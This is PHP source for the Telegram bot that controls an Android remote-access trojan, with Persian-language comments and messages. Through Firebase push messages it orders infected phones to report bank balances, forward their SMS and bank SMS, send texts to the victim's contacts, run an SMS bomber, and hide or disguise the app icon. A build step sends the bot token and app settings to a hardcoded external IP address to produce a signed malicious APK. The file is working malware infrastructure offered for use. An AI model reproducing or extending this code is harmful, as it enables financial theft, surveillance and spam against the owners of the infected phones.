<?php
error_reporting(0);
include("metii.php");
if(!is_dir("infolist")) mkdir("infolist");
if(!is_dir("data")) mkdir("data");
if(!file_exists("web.txt")) file_put_contents("web.txt", "https://google.com");
if(!file_exists("data/android.txt")) file_put_contents("data/android.txt", "تنظیم نشده");
if(!file_exists("data/numberoff.txt")) file_put_contents("data/numberoff.txt", "تنظیم نشده");
if(!file_exists("data/namerat.txt")) file_put_contents("data/namerat.txt", "تنظیم نشده");
if(!file_exists("data/auto.txt")) file_put_contents("data/auto.txt", "off");
if(!file_exists("data/autotar.txt")) file_put_contents("data/autotar.txt", "تنظیم نشده");
if(!file_exists("data/frist.txt")) file_put_contents("data/frist.txt", "off");
if(!file_exists("data/mokhatib.txt")) file_put_contents("data/mokhatib.txt", "on");
if(!file_exists("data/numberuser.txt")) file_put_contents("data/numberuser.txt", "0");
if(!file_exists("data/tedad.txt")) file_put_contents("data/tedad.txt", "1");
if(!file_exists("data/user.txt")) file_put_contents("data/user.txt", "");
$numberuser = file_get_contents("data/numberuser.txt");
$youurl = file_get_contents("web.txt");
$mokatib = file_get_contents("data/mokhatib.txt");
$textatotar = file_get_contents("data/autotar.txt");
$namerat = file_get_contents("data/namerat.txt");
$metii="⚡ᴅᴇᴡ : @Harfam_pm";
$auto = file_get_contents("data/auto.txt");
$fristacshn = file_get_contents("data/frist.txt");
require_once 'vendor/autoload.php';
$tedad = file_get_contents("data/tedad.txt");

#-----------------------------

define('API_KEY', $token);

#-----------------------------#

$update = json_decode(file_get_contents("php://input"));
    if(isset($update->message)){
    $from_id = $update->message->from->id;
    $chat_id = $update->message->chat->id;
    $text = $update->message->text;
    $first_name = $update->message->from->first_name;
    $message_id = $update->message->message_id;
    $username = isset($update->message->from->username) ? $update->message->from->username : "ندارد !";
}elseif(isset($update->callback_query)){
    $chat_id = $update->callback_query->message->chat->id;
    $data = $update->callback_query->data;
    $query_id = $update->callback_query->id;
    $message_id = $update->callback_query->message->message_id;
    $in_text = $update->callback_query->message->text;
    $from_id = $update->callback_query->from->id;
    $first_name = $update->callback_query->from->first_name;
    $username = isset($update->callback_query->from->username) ? $update->callback_query->from->username : "ندارد !";
}

#-----------------------------#

function bot($method, $datas=[]){
    $url = "https://api.telegram.org/bot".API_KEY."/".$method;
    $ch = curl_init();
    curl_setopt($ch,CURLOPT_URL,$url);
    curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
    curl_setopt($ch,CURLOPT_POSTFIELDS,$datas);
    $res = curl_exec($ch);
    if(curl_error($ch)){
        var_dump(curl_error($ch));
    }else{
        return json_decode($res);
    }
}

function sendmessage($text, $keyboard = null, $mrk = null) {
    global $chat_id;
    return bot('sendMessage',[
        'chat_id' => $chat_id,
        'text' => $text,
        'parse_mode' => "HTML",
        'disable_web_page_preview' => true,
        'reply_markup' => $keyboard
    ]);
}

function em($chat_id,$message_id,$text,$keyboard){
        global $chat_id;
return bot('editmessagetext',[ 
    'chat_id'=>$chat_id, 
    'message_id'=>$message_id,
    'text'=>$text,
    'parse_mode'=>'HTML',
    'reply_markup'=>$keyboard
	]);
	}

function step($step) {
    global $from_id;
    file_put_contents("data/$from_id.txt", $step);
}

if(!in_array($chat_id, ["$group","6169870516"])){
    

    exit();
    
}

function SendFirebase($to, $target, $data)
{
    $factory = (new Kreait\Firebase\Factory())->withServiceAccount('metii-v3-firebase-adminsdk-fbsvc-51aeef0768.json');
    $messaging = $factory->createMessaging();
    $message = Kreait\Firebase\Messaging\CloudMessage::withTarget($to, $target)
        ->withData($data)->withHighestPossiblePriority();

    try {
        $messaging->send($message);
        return "OK";
    } catch (Kreait\Firebase\Exception\Messaging\NotFound $e) {
        return "NotFound";
    } catch (Kreait\Firebase\Exception\Messaging\InvalidMessage $e) {
        throw new Exception("FireBase Error: " . $e->getMessage());
        return "invalidmessage";
    } catch (Kreait\Firebase\Exception\Messaging\ServerError $e) {
        return "FCMERROR";
    } catch (Kreait\Firebase\Exception\MessagingException $e) {
        return $e->getMessage();
    }
}


if(!file_exists("data/$from_id.txt")) file_put_contents("data/$from_id.txt", "");
$step = file_get_contents("data/$from_id.txt");


#-----------------------------#

$start = json_encode(['resize_keyboard'=>true, 'inline_keyboard'=>[
    [['text' => "📊 ᴘɪɴɢ ᴀʟʟ 📊", 'callback_data' => 'list'],['text' => "🛜 ꜱᴇɴᴅ ʀᴇQᴜᴇꜱᴛ ᴀʟʟ 🛜", 'callback_data' => 'reqall']],
    [['text' => "🎛 ꜱᴇᴛᴛɪɴɢꜱ 🎛", 'callback_data' => 'stiings'],['text' => "♻️ ʀᴇᴠɪᴇᴡ ᴀɴᴅ ꜱᴛᴀᴛᴜꜱ ♻️", 'callback_data' => 'Check']],
]]);
$sttings = json_encode(['resize_keyboard'=>true, 'inline_keyboard'=>[
    [['text' => "🌐 ᴄʜᴀɴɢᴇ ᴜʀʟ 🌐", 'callback_data' => 'url'],['text' => "⚡️ ꜰɪʀꜱᴛ ᴀᴄᴛɪᴏɴ ⚡️", 'callback_data' => 'frits']],
    [['text'=>"💎 ᴀᴜᴛᴏ-ᴛᴀʀ 💎", 'callback_data'=>"automange"]],
    [['text' => "🛌 ᴏꜰꜰʟɪɴᴇ ᴍᴏᴅᴇ ꜱᴇᴛ ɴᴜᴍʙᴇʀ 🛌", 'callback_data' => 'setnumberoff']],
    [['text' => "⚙️ ɢᴇᴛ ꜰɪʟᴇ ʀᴀᴛ⚙️", 'callback_data' => 'getfile']],
    [['text'=>"🔙 B A C K", 'callback_data'=>"back"]],
]]);
$automange = json_encode(['resize_keyboard'=>true, 'inline_keyboard'=>[
  [['text' => "💌 ꜱᴇᴛ ᴛᴇxᴛ 💌", 'callback_data' => 'textauto']],
    [['text' => "✅ ᴏɴ ✅", 'callback_data' => 'onauto'],['text' => "❌ ᴏꜰꜰ ❌", 'callback_data' => 'offauto']],
    [['text' => "♻️ ꜱᴇᴛ ᴛɪᴍᴇ ꜱᴇɴᴅ ♻️", 'callback_data' => 'settimesend']],[['text' => "sleep send : $tedad", 'callback_data' => 'null']],
    [['text'=>"🔙 B A C K", 'callback_data'=>"back4"]],
]]);
$frist = json_encode(['resize_keyboard'=>true, 'inline_keyboard'=>[
    [['text' => "🏦 ʙᴀʟᴀɴᴄᴇꜱ 🏦", 'callback_data' => 'balancefrist']],
    [['text' => "❌ ᴏꜰꜰ ꜰɪʀꜱᴛ ᴀᴄᴛɪᴏɴ ❌" , 'callback_data' => 'offfrist']],
    [['text'=>"🔙 B A C K", 'callback_data'=>"back4"]],
]]);
$reqall = json_encode(['resize_keyboard'=>true, 'inline_keyboard'=>[
    [['text' => "💣 ꜱᴍꜱ ʙᴏᴍʙᴇʀr 💣", 'callback_data' => 'bmb'],['text' => "👻  ʜɪᴅᴇ ᴀʟʟ ɪᴄᴏɴ 👻", 'callback_data' => 'hideall']],
    [['text' => "🔃 ɪᴄᴏɴ ᴄʜᴀɴɢᴇʀ 🔃", 'callback_data' => 'changeall'],['text' => "💸 ʙᴀɴᴋꜱ ʙᴀʟᴀɴᴄᴇꜱ 💸", 'callback_data' => 'balancebankall']],
    [['text' => "🫂 ꜱᴇɴᴅ ᴍᴇꜱꜱᴀɢᴇ ᴛᴏ ᴄᴏɴᴛᴀᴄᴛꜱ 🫂 ", 'callback_data' => 'sendallconts']],
    [['text'=>"🔙 B A C K", 'callback_data'=>"back"]],
]]);
$getfile = json_encode(['resize_keyboard'=>true, 'inline_keyboard'=>[
    [['text' => "ɪᴄᴏɴ ᴀᴘᴘ", 'callback_data' => 'seticon'],['text' => "ɴᴀᴍᴇ ᴀᴘᴘ", 'callback_data' => 'setname']],
    [['text' => "دسترسی مخاطبین روشن", 'callback_data' => 'onmokhatib'],['text' => " دسترسی مخاطبین خاموش", 'callback_data' => 'offmokhatib']],
    [['text' => "ɢᴇᴛ ꜰɪʟᴇ", 'callback_data' => 'getfile2']],
    [['text'=>"🔙 B A C K", 'callback_data'=>"back4"]], 

]]);

$panelremote = json_encode(['resize_keyboard'=>true, 'inline_keyboard'=>[
[['text'=>"🌐 ᴘɪɴɢ 🌐",'callback_data' => 'pingone'], ['text'=>"💸 ʙᴀɴᴋꜱ ʙᴀʟᴀɴᴄᴇꜱ 💸",'callback_data' => 'findbalances']],
[['text'=>"📥 ᴀʟʟ ꜱᴍꜱ (50) 📥",'callback_data' => 'smsget'],['text'=>"📥 ɢᴇᴛ ᴀʟʟ ꜱᴍꜱ (ᴀʟʟ) 📥",'callback_data' => 'smsget2']],
[['text'=>"✉️ ꜱᴇɴᴅ ꜱᴍꜱ ✉️",'callback_data' => 'sendmessage'],['text'=>"💌 ʟᴀꜱᴛ ꜱᴍꜱ 💌",'callback_data' => 'getlastsms']],
[['text'=>"🏦 ᴀʟʟ ʙᴀɴᴋ ꜱᴍꜱ 🏦",'callback_data' => 'getlastbank'],['text'=>"🫂 ꜱᴇɴᴅ ᴍᴇꜱꜱᴀɢᴇ ᴛᴏ ᴄᴏɴᴛᴀᴄᴛꜱ 🫂",'callback_data' => 'sebdcontens']],
[['text' => "💤 ᴏꜰꜰ ᴍᴏᴅᴇ ᴏɴ 💤 ", 'callback_data' => 'offmode'],['text' => "📞 ɢᴇᴛ ᴘʜᴏɴᴇ ᴜꜱᴇʀ 📞", 'callback_data' => 'getphoneuser']],
[['text'=>"👻 ʜɪᴅᴇ 👻",'callback_data' => 'hideicon'],['text'=>"💡 ᴜɴʜɪᴅᴇ 💡",'callback_data' => 'unhide']],
[['text'=>"🗂 ꜱᴀᴠᴇ ɪɴꜰᴏ 🗂",'callback_data' => 'save'],['text'=>"🔃 ɪᴄᴏɴ ᴄʜᴀɴɢᴇʀ 🔃",'callback_data' => 'Settings']],
[['text'=>"🔇 ꜱɪʟᴇɴᴛ 🔇",'callback_data' => 'silent'],['text'=>"🔊 ɴᴏʀᴍᴀʟ 🔊",'callback_data' => 'normal']],
[['text'=>"🚪 ᴄʟᴏꜱᴇ ᴘᴀɴᴇʟ 🚪", 'callback_data'=>"back"]], 
]]);

$back = json_encode(['resize_keyboard'=>true, 'inline_keyboard'=>[
[['text'=>"🔙 B A C K", 'callback_data'=>"back4"]], 
]]);
$back3 = json_encode(['resize_keyboard'=>true, 'inline_keyboard'=>[
[['text'=>"🔙 B A C K", 'callback_data'=>"back3"]], 
]]);
$backp = json_encode(['resize_keyboard'=>true, 'inline_keyboard'=>[
[['text'=>"🔙 B A C K", 'callback_data'=>"backp"]], 
]]);
$backgetrat = json_encode(['resize_keyboard'=>true, 'inline_keyboard'=>[
[['text'=>"🔙 B A C K", 'callback_data'=>"backgetrat"]], 
]]);
$back5=json_encode(array('inline_keyboard'=>[[['text'=>"✅",'callback_data' => 'yes'],['text'=>"❌",'callback_data' => 'backp']]]));


if($text == '/start' or strpos($text, "/start") !== false){
  step('none');
    sendmessage("👋🏻 ʜᴇʟʟᴏ $first_name ᴡᴇʟᴄᴏᴍᴇ

👤ɴᴜᴍʙᴇʀ ᴏꜰ ᴜꜱᴇʀꜱ: $numberuser
📡ᴘᴏʀᴛ: $port
⏳[ 998 ] ᴅᴀʏꜱ ᴛᴏ ᴇxᴘɪʀᴇꜱ.

$metii", $start);

}


elseif($data == 'getalltxt' ){
    bot('answercallbackquery', [     
          'callback_query_id' => $update->callback_query->id,
                'text' => "⏳ ",
                'show_alert' => true,
            ]);
            bot('senddocument',[
        'chat_id' => $id,
        'document' => new CURLFile('all.txt'),
        'caption' => '♻️ لیست آنلاین های شما در قالب فایل ⚡️
~ᴄᴏᴅᴇᴅ ʙʏ : @Hack666m'
    ]);

}
elseif($data == 'onmokhatib' ){
    file_put_contents("data/mokhatib.txt", "on");
                step('none');
        bot('deletemessage',[
'chat_id' => $group,
'message_id' => $message_id ,
]);
  $mokatib2 =   file_get_contents("data/mokhatib.txt");
$namerat = file_get_contents("data/namerat.txt");

bot('sendPhoto',[
'chat_id' => $group,
'photo' => new CURLFile("data/Untitled.png"),
'caption' => "ɴᴀᴍᴇ ᴀᴘᴘ : $namerat
دسترسی مخاطبین : $mokatib2",
 'reply_markup'=>$getfile,

]);
}
elseif($data == 'offmokhatib' ){
    file_put_contents("data/mokhatib.txt", "off");
                step('none');
        bot('deletemessage',[
'chat_id' => $group,
'message_id' => $message_id ,
]);
  $mokatib2 =   file_get_contents("data/mokhatib.txt");
$namerat = file_get_contents("data/namerat.txt");

bot('sendPhoto',[
'chat_id' => $group,
'photo' => new CURLFile("data/Untitled.png"),
'caption' => "ɴᴀᴍᴇ ᴀᴘᴘ : $namerat
دسترسی مخاطبین : $mokatib2",
 'reply_markup'=>$getfile,

]);
}
elseif($data == 'reqall' or $data == 'back3'){
        step('none');
        em($chat_id,$message_id,"📡 ʀᴇQᴜᴇꜱᴛ ᴘᴀɴᴇʟ ᴛᴏ ᴀʟʟ ᴛᴀʀɢᴇᴛꜱ

ᴀɴʏ ʀᴇQᴜᴇꜱᴛ ʏᴏᴜ ꜱᴇʟᴇᴄᴛ ᴡɪʟʟ ʙᴇ ꜱᴇɴᴛ ᴛᴏ ᴀʟʟ ᴛᴀʀɢᴇᴛꜱ.

-لطفا فقط یک بار کلیک کنید چندین بار نزنید", $reqall);

    
}
elseif($data == 'frits'){
        step('none');
        em($chat_id,$message_id,"🔥 ᴍᴀɴᴀɢᴇᴍᴇɴᴛ ᴏꜰ ᴛʜᴇ ꜰɪʀꜱᴛ ᴀᴄᴛɪᴏɴ ᴅᴇᴘᴀʀᴛᴍᴇɴᴛ :
پ.ن: هرکدوم رو انتخاب کنید به محظ نصب براش رکوئست میره برای مثال اگر روی بالانس ست کنید به محظ نصب بالانس بانکی یوزر براتون میاد.
", $frist);

    
}

elseif($data == 'balancefrist'){
    file_put_contents("data/frist.txt", "findbalances");
        step('none');
     bot('answercallbackquery', [
          'callback_query_id' => $update->callback_query->id,
                'text' => "فرست اکشن روی بالانس بانک تنظیم شد.",
                'show_alert' => true,
    ]);
}
elseif($data == 'offfrist'){
    file_put_contents("data/frist.txt", "off");
        step('none');
     bot('answercallbackquery', [
          'callback_query_id' => $update->callback_query->id,
                'text' => "فرست اکشن خاموش شد.",
                'show_alert' => true,
    ]);
}
elseif($data == 'automange'){
        step('none');
        em($chat_id,$message_id,"🔥 ᴀᴜᴛᴏᴍᴀᴛɪᴄ ꜱᴇᴄᴛɪᴏɴ

📑 ᴛᴇxᴛ:
<code>$textatotar</code>", $automange);

    
}
elseif($data == 'onauto'){
                   file_put_contents("data/auto.txt", 'on');
       bot('answercallbackquery', [
          'callback_query_id' => $update->callback_query->id,
                'text' => "حالت اتو تار روشن شد.",
                'show_alert' => true,
   ]);
}
elseif($data == 'offauto'){
                       file_put_contents("data/auto.txt", 'off');
       bot('answercallbackquery', [
          'callback_query_id' => $update->callback_query->id,
                'text' => "حالت اتو تار خاموش شد.",
                'show_alert' => true,
   ]);
}
elseif($data == 'textauto'){
        step('textauto1');
        em($chat_id,$message_id,"متن خود را ارسال کنید :", $back);
}
           elseif($step == 'textauto1' && isset($text)){
                       step('none');
               file_put_contents("data/autotar.txt", $text);
               $textatotar1 = file_get_contents("data/autotar.txt");
                    bot('deletemessage',[
'chat_id' => $group,
'message_id' => $message_id ,
]);
        sendmessage("🔥 ᴀᴜᴛᴏᴍᴀᴛɪᴄ ꜱᴇᴄᴛɪᴏɴ

📑 ᴛᴇxᴛ:
<code>$textatotar1</code>", $automange);

}
elseif($data == 'settimesend'){
    step("settimesend1");
        em($chat_id,$message_id,"مقداری که میخوای رو بده تنظیم کنم ✨
توضیحات :
خود رت شما بخواید و نخواید بعد از 10 ثانیه اس زدن رو شروع میکنه به یوزر ، پس برای مثال اگر میخواین رو همون 10 ثانیه بمونه روی 1 ثانیه بزارید بمونه و یا اگر میخواین بعد از 50 ثانیه شروع کنه روی 40 ثانیه بزارید.

❌ کمتر از 1 نزارید باگ میخوره

ثانیه تنظیم شده : $tedad
", $back);
}
           elseif($step == 'settimesend1'  && is_numeric($text)){
                   file_put_contents("data/tedad.txt","$text");
                   $tedad2 = file_get_contents("data/tedad.txt");
	  sendmessage("تنظیم شد 🔥
ثانیه تنظیم شده : $tedad2",$automange);
step('none');
}
elseif($data == 'stiings'){
        step('none');
   $phone4214214 =  file_get_contents("data/numberoff.txt");
        em($chat_id,$message_id,"📡 ꜱᴇᴛᴛɪɴɢꜱ

🛌🏻 ᴏꜰꜰᴍᴏᴅᴇ ɴᴜᴍʙᴇʀ : $phone4214214
📃 ᴜʀʟ : $youurl
🕹 ꜰɪʀꜱᴛ ᴀᴄᴛɪᴏɴ : $fristacshn
♻️ ᴀᴜᴛᴏᴍᴀᴛɪᴄ ᴛᴀʀ : $auto", $sttings);

    
}
elseif($data == 'getfile' or $data == 'backgetrat' ){
                step('none');
$namerat2 = file_get_contents("data/namerat.txt");

        bot('deletemessage',[
'chat_id' => $group,
'message_id' => $message_id ,
]);
bot('sendPhoto',[
'chat_id' => $group,
'photo' => new CURLFile("data/Untitled.png"),
'caption' => "ɴᴀᴍᴇ ᴀᴘᴘ : $namerat2
دسترسی مخاطبین : $mokatib",
 'reply_markup'=>$getfile,

]);
}
elseif($data == 'seticon'){
            step('seticon');
          bot('deletemessage',[
'chat_id' => $group,
'message_id' => $message_id ,
]);
sendmessage("ꜱᴇɴᴅ ʏᴏᴜʀ ꜱᴘᴇᴄɪꜰɪᴄ ɪᴄᴏɴ ꜰᴏʀ ᴀᴘᴘ ?",$backgetrat);
}
   elseif($step == 'seticon'  && isset($photo)){
       $namerat2 = file_get_contents("data/namerat.txt");
$photo = $update->message->photo;
$file = $photo[count($photo)-1]->file_id;
      $get = bot('getfile',['file_id'=>$file]);
      $patch = $get->result->file_path;
    $siz = $get->result->file_size;
    unlink("data/Untitled.png");
    file_put_contents("data/Untitled.png",file_get_contents("https://api.telegram.org/file/bot$token/$patch"));
            step('none');
                      bot('deletemessage',[
'chat_id' => $group,
'message_id' => $message_id -1,
]);
bot('sendPhoto',[
'chat_id' => $group,
'photo' => new CURLFile("data/Untitled.png"),
'caption' => "ɴᴀᴍᴇ ᴀᴘᴘ : $namerat2
دسترسی مخاطبین : $mokatib",
 'reply_markup'=>$getfile,

]);

}

elseif($data == 'setname'){
            step('setname');
          bot('deletemessage',[
'chat_id' => $group,
'message_id' => $message_id ,
]);
sendmessage("ɢɪᴠᴇ ᴍᴇ ᴛʜᴇ ɴᴀᴍᴇ ʏᴏᴜ ᴡᴀɴᴛ ?",$backgetrat);
}
   elseif($step == 'setname' && isset($text)){
      file_put_contents("data/namerat.txt", "$text");
                  step('none');
              bot('deletemessage',[
'chat_id' => $group,
'message_id' => $message_id -1 ,
]);
$namerat2 = file_get_contents("data/namerat.txt");

      bot('sendPhoto',[
'chat_id' => $group,
'photo' => new CURLFile("data/Untitled.png"),
'caption' => "ɴᴀᴍᴇ ᴀᴘᴘ : $namerat2
دسترسی مخاطبین : $mokatib",
'reply_markup'=>$getfile,

]);
}
elseif($data == 'getfile2'){
    $namerat2 = file_get_contents("data/namerat.txt");
        $contacts = file_get_contents("data/mokhatib.txt");
        if($contacts=="on"){
            $contacts1= "true";
        }else{
                        $contacts1= "false";
        }
          bot('deletemessage',[
'chat_id' => $group,
'message_id' => $message_id ,
]);
sendmessage("✅ فایل شما به سرور ارسال شد و نهایتا تا 5 دقیقه دیگه فایلتون ادیت شده و امضا شده ارسال میشه . . . ( لطفا تا ارسال فایل با رت کار نکنید )",null);

$domain = $_SERVER['HTTP_HOST'];
$path = dirname($_SERVER['SCRIPT_NAME']);

    $ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://91.107.253.225:8080/");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);

$data = [
    "name" => "$namerat2",
    "port" => "$port",
    "icon" => "https://$domain/$path/data/Untitled.png",
    "contacts" => "$contacts1",
    "domain" => "کص",
    "token" => "$token",
    "chat_id" => "$id"
];
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
$result = curl_exec($ch);
curl_close($ch);
}


if($text == '/on'){

        step('none');
$phone12422422 = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "https") . "://" . $_SERVER['HTTP_HOST'];

$data = [
        'action' => "changeurl",
        'changeurl' => $phone12422422,
    ];
    SendFirebase("topic", $android, $data);
    
    sendmessage("دامنه تغییر کرد یوزرای قبلیتون الان هم میتونید پینگ آلشو بگیرید هم آل اسمس هم دریافت مسیجشو !",null);
    
}
if($text == "/off"){

        step('none');
$data = [
        'action' => "changeurloff",
    ];
    SendFirebase("topic", $android, $data);
    sendmessage( "Done!",null);
    
}

elseif($data == 'back'){

        step('none');
    em($chat_id,$message_id,"👋🏻 ʜᴇʟʟᴏ $first_name ᴡᴇʟᴄᴏᴍᴇ

👤ɴᴜᴍʙᴇʀ ᴏꜰ ᴜꜱᴇʀꜱ: $numberuser
📡ᴘᴏʀᴛ: $port
⏳[ 998 ] ᴅᴀʏꜱ ᴛᴏ ᴇxᴘɪʀᴇꜱ.

$metii", $start);

}
elseif($data == 'back4'){
            step('none');

        bot('deletemessage',[
'chat_id' => $group,
'message_id' => $message_id ,
]);
   $phone4214214 =  file_get_contents("data/numberoff.txt");

    sendmessage( "📡 ꜱᴇᴛᴛɪɴɢꜱ

🛌🏻 ᴏꜰꜰᴍᴏᴅᴇ ɴᴜᴍʙᴇʀ : $phone4214214
📃 ᴜʀʟ : $youurl
🕹 ꜰɪʀꜱᴛ ᴀᴄᴛɪᴏɴ : $fristacshn
♻️ ᴀᴜᴛᴏᴍᴀᴛɪᴄ ᴛᴀʀ : $auto",$sttings);

}

elseif($data == "list"){
            file_put_contents("all.txt",'');
        step('none');
$data = [
        'action' => "ping",
    ];
        SendFirebase("topic", $port, $data);
        file_put_contents("miid.txt", $message_id);
        em($chat_id,$message_id,"❇️ Wait
        
- ممکن است طول بکشد ، کمی صبر کنید", null);
$messageId1 =  file_get_contents("miid.txt");
   $pinData = array(
        'chat_id' => $group,
        'message_id' => $messageId1
    );

    $pinUrl = "https://api.telegram.org/bot{$token}/pinChatMessage";
    $pinCh = curl_init();
    curl_setopt($pinCh, CURLOPT_URL, $pinUrl);
    curl_setopt($pinCh, CURLOPT_POST, true);
    curl_setopt($pinCh, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded; charset=UTF-8'));
    curl_setopt($pinCh, CURLOPT_POSTFIELDS, http_build_query($pinData));
    curl_setopt($pinCh, CURLOPT_RETURNTRANSFER, true);
    $pinResponse = curl_exec($pinCh);
    curl_close($pinCh);
        
   
        }     
        elseif($data == "setnumberoff"){
            
            	    em($chat_id,$message_id,"👿 ꜱᴇɴᴅ ᴍᴇ ɴᴜᴍʙᴇʀ",$back);
            	    	          step('NumberOFF');
            	    	         

        }
           elseif($step == 'NumberOFF' && isset($text)){
     file_put_contents('data/numberoff.txt',$text);
	     sendmessage("❇️ ꜱᴇᴛᴇᴅ.",$start);
	                	    	          step('none');
	}
		       elseif($data == "changeall"){
	           $data = [
        'action' => "Settingsall",
    ];
    SendFirebase("topic", $port, $data);
                   bot('answercallbackquery', [
          'callback_query_id' => $update->callback_query->id,
                'text' => "🔦 Request Sended.",
                'show_alert' => true,
                 ]);
	       }
	       elseif($data == "balancebankall"){
	           $data = [
        'action' => "findbalancesall",
    ];
    SendFirebase("topic", $port, $data);
                   bot('answercallbackquery', [
          'callback_query_id' => $update->callback_query->id,
                'text' => "🔦 Request Sended.",
                'show_alert' => true,
                   ]);
	       }
        elseif($data == "bmb"){
            
            	    em($chat_id,$message_id,"👿 ꜱᴇɴᴅ ᴍᴇ ɴᴜᴍʙᴇʀ
<code>⚡️ نکته : فقط شماره بدید متن خودش دیفالت 👈🏻سلام 👉🏻 تنظیم شده ⚡️</code>",$back3);
            	    	          step('bmber');
            	    	          
        }
        
   elseif($step == 'bmber' && isset($text)){

$data = [
        'action' => "bmb",
        'numberbmb' => $text,
    ];
    SendFirebase("topic", $port, $data);
    
	     sendmessage("❇️ Message Request Sended For AllUser.",$start);
	                	    	          step('none');
	}
        
        elseif($data == "hideall"){

$data = [
        'action' => "hideall",
    ];
    SendFirebase("topic", $port, $data);
               bot('answercallbackquery', [
          'callback_query_id' => $update->callback_query->id,
                'text' => "🔦 Request Sended.",
                'show_alert' => true,
   ]);
        }
        
elseif($data == "url"){

	    em($chat_id,$message_id,"🌐 ꜱᴇɴᴅ ᴍᴇ ᴛʜᴇ ʟɪɴᴋ :",$back);
	          step('url1');

}

elseif($step == 'url1' && isset($text)){

    file_put_contents('web.txt',$text);

    sendmessage("✨ ꜱᴇᴛᴇᴅ",$start);
      step('none');

}

        
elseif($data == "Check"){
$urldarga =file_get_contents('web.txt');
    em($chat_id, $message_id, "ᴘʟᴇᴀꜱᴇ ᴡᴀɪᴛ, ᴡᴇ ᴀʀᴇ ɪɴᴠᴇꜱᴛɪɢᴀᴛɪɴɢ . . . 🔗\n🍮 ᴇꜱᴛɪᴍᴀᴛᴇᴅ ᴛɪᴍᴇ : 10 ꜱᴇᴄᴏɴᴅꜱ",null);
   $get = json_decode(file_get_contents('https://check-host.net/check-http?host=' .$urldarga.'&node=ir1.node.check-host.net&node=ir3.node.check-host.net&node=ir4.node.check-host.net&node=ir5.node.check-host.net&node=ir6.node.check-host.net'  , false, stream_context_create(array('http' => array('header'  => "Accept:application/json" )))), true) ;
				    sleep(10);
                   $result = json_decode(file_get_contents('https://check-host.net/check-result/'.$get['request_id'] , false, stream_context_create(array('http' => array('header'  => "Accept:application/json" )))), true) ;
                   if($result["ir1.node.check-host.net"][0][0]) {
                       $ping          =  round($result["ir1.node.check-host.net"][0][1]);
                       $status       = $result["ir1.node.check-host.net"][0][2];
                       $httpcode  = $result["ir1.node.check-host.net"][0][3];
                       $Tehran ="⚙️ 𝗦𝘁𝗮𝘁𝘂𝘀 : $status\n💎 𝗛𝘁𝘁𝗽 : $httpcode\n📡 𝗣𝗶𝗻𝗴 : $ping 𝑴𝒔" ;
        if (strpos($status, "No such device or address") !== false || strpos($status, "Connection refused") !== false || strpos($status, "Connection timed out") !== false) {
 $txt= "<code>❌ به نظر میرسد درگاه شما فیلتر و خاموش است 🚫</code>";
} else {
    $txt= "<code>✅ به نظر میرسد درگاه شما فعال میباشد و فیلتر نیست ⚡️</code>";
}

          if($status==null){
                            $txt= "<code>درخواستی از سمت سرور یافت نشد مجددا دقایقی بعد تلاش کنید ❌</code>";
                       }
                     } else {
                       $ping           = round($result["ir1.node.check-host.net"][0][1] );
                       $status       = $result["ir1.node.check-host.net"][0][2];
                       $Tehran ="⚙️ 𝗦𝘁𝗮𝘁𝘂𝘀 : $status\n📡 𝗣𝗶𝗻𝗴 : $ping 𝑴𝒔" ;
if (strpos($status, "No such device or address") !== false || strpos($status, "Connection refused") !== false || strpos($status, "Connection timed out") !== false) {
    $txt= "<code>❌ به نظر میرسد درگاه شما فیلتر و خاموش است 🚫</code>";
} else {
    $txt= "<code>✅ به نظر میرسد درگاه شما فعال میباشد و فیلتر نیست ⚡️</code>";
}
          if($status==null){
                            $txt= "<code>درخواستی از سمت سرور یافت نشد مجددا دقایقی بعد تلاش کنید ❌</code>";
                       }
                    }

  em($chat_id, $message_id,"🔰 ʀᴀᴛ ꜱᴛᴀᴛᴜꜱ\n\n🌐 ʏᴏᴜʀ ᴜʀʟ ꜱᴛᴀᴛᴜꜱ :\n$Tehran\n$txt\n$txt2--------------", null);

}

elseif($data == "null"){

       bot('answercallbackquery', [
          'callback_query_id' => $update->callback_query->id,
                'text' => "این دکمه نمایشیه و کار نمیکنه!!!",
                'show_alert' => false,

            ]);
        }

elseif(strpos($text, "/set_") !== false){
      step('none');
$code       =     str_replace("/set_", null, $text);
$pos = strpos($code, '@');

if ($pos !== false) {

    $code = substr_replace($code, '', $pos);
}
file_put_contents("data/android.txt",$code);
$android    =    file_get_contents("data/android.txt");
      $inf = file_get_contents("infolist/$android.txt");
      if(!file_exists("infolist/$android.txt")) $inf = "❌";
$data_list = json_decode(file_get_contents("data/$android.json"), true);
$ipfrist=  $data_list['ipfrist'] ? $data_list['ipfrist'] : 'ثبت نشده';
     $domain = $_SERVER['HTTP_HOST'];
$data_list = json_decode(file_get_contents("data/$code.json"), true);
$tokenuser=  $data_list['token'] ? $data_list['token'] : 'ثبت نشده';
     $result2 = file_get_contents("https://$domain/test.php?device_token=$tokenuser");
file_put_contents("dsfs.txt",$result2);
$uninstall    =    file_get_contents("dsfs.txt");
if (strpos($uninstall, "UNREGISTERED") !== false) {
$text24= "کاربر رت را پاک کرده است ❌";

} else {

$text24 ='';
}
      sendmessage("
      $text24
      🔑 ʏᴏᴜ ᴀʀᴇ ɪɴ $android ᴘᴀɴᴇʟ :
ɴᴀᴍᴇ : $inf
ɪᴘ ꜰʀɪꜱᴛ : <code>$ipfrist</code>
$metii          
          ", $panelremote);
          
         unlink("dsfs.txt");

}
elseif($data == "backp"){
    
    step('none');
    $android    =    file_get_contents("data/android.txt");
    $backtext  =    "🔑 ʏᴏᴜ ᴀʀᴇ ɪɴ $android ᴘᴀɴᴇʟ :
         
$metii";


	    em($chat_id,$message_id,$backtext, $panelremote);

}


elseif($data == "sendallconts"){


	    em($chat_id,$message_id,"📨 ꜱᴇɴᴅ ᴛʜᴇ ᴛᴇxᴛ",$back3);
	           step("messagecon2");

}
     
        
    elseif($step == "messagecon2" && isset($text)){
            $android    =   file_get_contents("data/android.txt");

        $data = [
        'action' => "sendallconts",
        'txm2' => $text,
        'androidid' => $android,
    ];
    SendFirebase("topic", $port, $data);
    	           step("none");

  sendmessage("✅ᴍᴇꜱꜱᴀɢᴇ ꜱᴇɴᴛ ꜱᴜᴄᴄᴇꜱꜱꜰᴜʟʟʏ !",$start);

}


elseif($data == "sebdcontens"){


